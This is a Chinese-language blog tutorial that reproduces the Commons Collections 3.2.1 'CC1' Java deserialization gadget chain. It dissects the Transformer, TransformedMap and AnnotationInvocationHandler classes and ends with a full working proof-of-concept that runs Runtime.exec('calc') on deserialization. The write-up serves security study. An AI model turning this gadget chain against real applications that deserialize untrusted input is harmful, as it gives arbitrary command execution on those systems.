java 反序列化 cc1 复现
java反序列化cc1漏洞复现,环境commoncollections3.2.1, java8u65.
分析的时候从执行命令的部分开始,一点一点的倒退回反序列化接口.目的:在java反序列化的时候会利用构造函数来进行对象的构造,那么我们的目标就是只调用构造函数来执行命令.
源码剖析
Transformer
一个接口,定义了transform方法,所有实现了这个接口的子类都得去实现这个方法(万恶之源了属于是).
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
InvokerTransformer
该类的位置: org.apache.commons.collections.functors.InvokerTransformer
,为了方便阅读,把没用到的方法都删了.
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
}
执行命令的方法为transform,使用前需要调用构造函数来进行赋值.
测试:
import org.apache.commons.collections.functors.InvokerTransformer;
public class Main {
public static void main(String[] args) throws Exception {
Class[] paramTypes = {String.class};
Object[] args1 = {"calc"};
InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
it.transform(Runtime.getRuntime());
}
}
成功弹出计算器.
实际上上面就相当于执行了下面的这条语句
Runtime.getRuntime().getClass().getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");
那么如何才能做到不直接调用InvokerTransformer方法直接去执行命令呢?
ConstantTransformer
简化后的代码如下
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
}
逻辑很简单,构造函数接受对象,transform方法返回对象.然而这里就很有说法,由于多态的机制会去调用Transformer类的transform方法,这里是对transform的一个重写,可以去存储一个对象,需要的时候调用transform方法去返回存储的对象.
ChainedTransformer
简化以后得代码如下
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
构造函数传入了一个Transformer[]
数组,然后在transform中以链式去调用每个Transformer对象的transform方法,其参数为手动传入的object.前者返回值会作为后者的参数被传入.
测试:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer constanttransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Transformer[] transformers = {constanttransformer, invokertransformer};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
chainedtransformer.transform(null);
}
}
第一次调用constanttransformer的transform方法,返回了一个Runtime对象,传入invokertransformer的transform方法中成功的得到了一个初始化过的InvokerTransformer对象,最后调用其transform方法弹计算器.
然而由于Runtime类没有实现Serializable接口接口,无法去进行反序列化.但是Class类实现了,因此我们尝试利用Runtime.class来实现.
测试:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Main {
public static void main(String[] args) throws Exception {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")
Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);
}
}
上面的代码体现了java反射中的层层利用与ChainedTransformer类的紧密配合,等同于如下代码
((Runtime)Runtime.getRuntime().getClass().getMethod("getRuntime", null).invoke(null, null)).exec("calc");
成功的执行命令,弹出计算器.
然而这里还是调用了ChainedTransformer的transform方法,想个办法把他跳过去.
TransformedMap
类的位置:org.apache.commons.collections.map.TransformedMap
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
我们可以看到可以通过调用checkSetValue来调用一个Transformer.transform对象的transform方法.那么如何调用这个checkSetValue方法呢?
AbstractInputCheckedMapDecorator
是TransformedMap的父类.
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
protected AbstractInputCheckedMapDecorator() {
}
protected abstract Object checkSetValue(Object var1);
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;
public Object next() {
Map.Entry entry = (Map.Entry)this.iterator.next();
return new MapEntry(entry, this.parent);
}
}
static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new EntrySetIterator(this.collection.iterator(), this.parent);
}
}
}
小喷一句,把子类直接写到父类里除了增添阅读障碍没有任何的好处.
我们看到AbstractInputCheckedMapDecorator的子类MapEntry中的setValue方法调用了父类的checksetValue,也就是说可以调用到TransformedMap的checksetValue方法.那么如何调用这个setValue呢
AnnotationInvocationHandler
类的位置:sun.reflect.annotation.AnnotationInvocationHandler
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
我们可以看到这个readObject类就是反序列化的入口点.其中存在var5调用了setValue方法.
那么这个var5是咋来的呢?核心逻辑是调用了var4的next方法.而这个var4则是从this.memberValues中得到的.
Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();
而这个memberValues在构造函数中被赋值
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
}
而这个next方法在AbstractInputCheckedMapDecorator.EntrySetIterator中有实现(重写).
static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;
public Object next() {
Map.Entry entry = (Map.Entry)this.iterator.next();
return new MapEntry(entry, this.parent);
}
}
会调用AbstractInputCheckedMapDecorator.MapEntry的构造方法来构造一个Map.Entry对象
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
归纳出链子
我们归纳整理得到利用链如下
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
整理得到poc
完整的poc如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); //解释二
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
/*
AnnotationInvocationHandler
*/
serial(poc);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
需要解释的包括两处.
第一: 为什么在使用反射生成AnnotationInvokationHandler对象的时候最后构造方法的第一个参数要传入Target.class.
我们回过头再来看AnnotationInvokationHandler对象的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
看这个if判断语句的逻辑,要求var1是一个注解的Class,同时要求这个注解的接口数为1,并且为Annotation.class.
我们打个断点调试一下看看这个Target.class是否满足条件.
发现恰好满足条件.
第二: 为什么在构造TransformedMap的时候传入的键为value,值为空?map.put("value", "");
我们翻回头来看看AnnotationInvokationHandler的readObject方法.
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
看到执行var5.setValue的条件为var7不为空.追述一下var7是怎么来的.Class var7 = (Class)var3.get(var6);
其中的var3由下面的代码生成
AnnotationType.getInstance(Target.class).memberTypes();
实际上返回的是一个map对象,键是@Target
注解中元数据的名称,值为类型.所以var7就是@Target
注解的属性中名为var6的值.也就是说要求@Target
中有var6这个属性即可.
那么看看@Target
中有什么
public @interface Target {
ElementType[] value();
}
只有value这一个属性.而var6的生成路线如下
this.memberValues.entrySet().iterator().next().getKey()
也就是说var6是我们传入的第二个参数(一个Map)中第一个键值对的键.
所以我们在创建map的时候要放一个键为value的键值对map.put("value", "");
.值是什么无所谓,因为根本没有用到这个值.
至此完成了java反序列化cc1的复现.
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库